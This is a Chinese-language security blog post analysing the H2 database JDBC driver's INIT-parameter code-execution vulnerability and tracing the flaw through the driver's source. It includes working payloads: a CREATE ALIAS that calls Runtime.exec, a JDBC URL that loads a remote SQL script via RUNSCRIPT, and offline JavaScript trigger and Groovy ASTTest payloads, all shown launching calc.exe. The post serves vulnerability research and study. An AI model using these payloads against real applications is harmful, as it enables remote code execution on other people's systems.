H2-JDBC-Attack
发表于:2025-08-15 | 分类: Java

H2-JDBC-Attack

前言

最近看了看了一些数据库驱动,想起来经常利用的H2数据库的驱动,但是还没分析过源码,所以今天来浅析一下

漏洞介绍

H2数据库是一款用Java编写的轻量级开源关系型数据库,支持嵌入式和服务器模式。它以其高性能、便捷性和灵活性,广泛应用于开发和测试环境。 h2数据库是纯Java的,因此跨平台使用更加方便。

在使用 H2 数据库进行 JDBC 连接时,攻击者可以在执行初始化SQL语句时,控制执行 Java 代码,从而导致了代码执行漏洞。

前置基础

环境搭建

从官网https://www.h2database.com/html/cheatSheet.html下载h2的jar包,使用如下命令启动WebConsole服务,默认监听8082端口。

1
java -cp h2-1.4.200.jar org.h2.tools.Server -web -webAllowOthers -ifNotExists

启动后访问,会出现一个连接的页面

h2数据库任意命令执行

在H2数据库中,有以下两个命令,支持用户自定义函数:

  • CREATE ALIAS
  • CREATE TRIGGER

以ALIAS为例,我们可以创建一个shell函数,并且调用它

$$符号可以表示无需转义的字符串

1
2
3
4
CREATE ALIAS shell AS $$void shell(String s) throws Exception {
java.lang.Runtime.getRuntime().exec(s);
}$$;
SELECT shell('cmd /c calc.exe');

执行后成功弹出计算机

代码分析

环境搭建

首先创建一个Java项目,导入H2JDBC的依赖,这里我使用的是1.4.199版本

1
2
3
4
5
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>1.4.199</version>
</dependency>

然后创建漏洞触发代码

1
2
3
4
5
6
7
public class h2Connect {
public static void main(String[] args) throws Exception {
Class.forName("org.h2.Driver");
String simplexp = "jdbc:h2:mem:test";
java.sql.Connection conn = DriverManager.getConnection(simplexp);
}
}

代码分析

我们直接下断点到H2驱动的`connect`方法处,前面先判断URL格式是否符合h2数据库连接的格式,然后调用`JdbcConnection`的构造函数进行创建数据库连接

跟进JdbcConnection的构造函数,调用了connectEmbeddedOrServer,其他部分做了一些判断和赋值的简单操作

跟进connectEmbeddedOrServer方法,这里调用了org.h2.engine.Engine.createSession方法

跟进createSession,再跟进createSessionAndValidate方法,前面的东西不太需要看,我们只需要跟着传入的参数var1即可

跟进openSession中,会从我们的ConnectionInfo中获取以下四个参数,这里我们可以利用的参数为INIT,因此我们后面跟着var5参数即可

我们在URL中添加INIT参数INIT=RUNSCRIPT FROM 'http://127.0.0.1:9999/poc.sql',继续调试

在后面会判断var5是否为空若不为空就执行prepareCommandexecuteUpdate方法,这两个方法名一看见就有搞的哈哈哈哈

repareCommand方法中,执行了对字符串的解析操作,然后调用executeUpdate方法,我们跟进查看

解析完SQL字符串后,跟进到Command#executeUpdate方法,调用了this.update来执行SQL语句

持续跟进update方法,这里首先调用openInput方法,读取我们远程的SQL文件,然后逐行执行SQL语句

openInput方法中,可以看到读取到了远程的文件名

跟进execute方法,这里已经读取到文件内容,并执行SQL语句

漏洞利用

出网利用方式

在INIT参数中,只允许执行一条初始化命令,且其中不能包含分号。这时我们可以借助另一个命令RUNSCRIPT,该命令通常用于执行一个SQL文件,例如RUNSCRIPTE FROM './poc.sql',在读取文件时,代码中使用了URL类,因此我们可以加载远程SQL文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@Override
public InputStream newInputStream() throws IOException {
if (name.matches("[a-zA-Z]{2,19}:.*")) {
// ...
// otherwise a URL is assumed
URL url = new URL(name);
return url.openStream();
}

FileInputStream in = new FileInputStream(name);
IOUtils.trace("openFileInputStream", name, in);
return in;
}

Poc如下

1
jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://127.0.0.1:9999/poc.sql'

将以下内容写入poc.sql中,并开启HTTP服务

1
2
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException{Runtime.getRuntime().exec(cmd);return "hacker";}';
CALL EXEC('calc')

不出网利用方式

在不出网的情况下,我们就无法利用远程读取SQL文件来执行恶意SQL语句了

无额外依赖情况

在没有groovy依赖的情况下,我们该怎么进行不出网的利用呢。

可以用于javax.script.ScriptEngineManager创建 org.h2.api.Trigger 对象。 javax.script.ScriptEngineManager是Java中用于执行脚本的引擎,而Java 8原 生自带了JavaScript的脚本引擎。

TriggerObject#loadFromSource方法中,调用isJavaxScriptSource方法判断是否为javascript脚本。如果以//javascript#ruby开头,就会被当作javascript脚本

poc如下(需要注意//script后需要有个换行)

1
2
3
4
jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON
INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec('cmd /c calc.exe')
$$

存在Groovy依赖情况

在之前学习groovy脚本执行时,存在沙箱的情况下,我们可以使用AST注解绕过沙箱的检测,在导入`groovy-sql`依赖时,同样我们可以使用AST注解,进行H2JDBC不出网的利用
1
2
3
4
5
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-sql</artifactId>
<version>3.0.8</version>
</dependency>

会根据是否以//groovy@groovy开头,判断是否以groovy脚本执行

Poc如下

1
2
3
4
5
jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS shell2 AS
$$@groovy.transform.ASTTest(value={
assert java.lang.Runtime.getRuntime().exec("cmd.exe /c calc.exe")
})
def x$$

小结

相比于之前学习的postgresql和mysql驱动的攻击,感觉H2 JDBC ATTACK的攻击点是利用了H2的语言特性,存在可以自定义函数的功能,导致了这个漏洞
上一篇:
JDK7u21
下一篇:
Redis未授权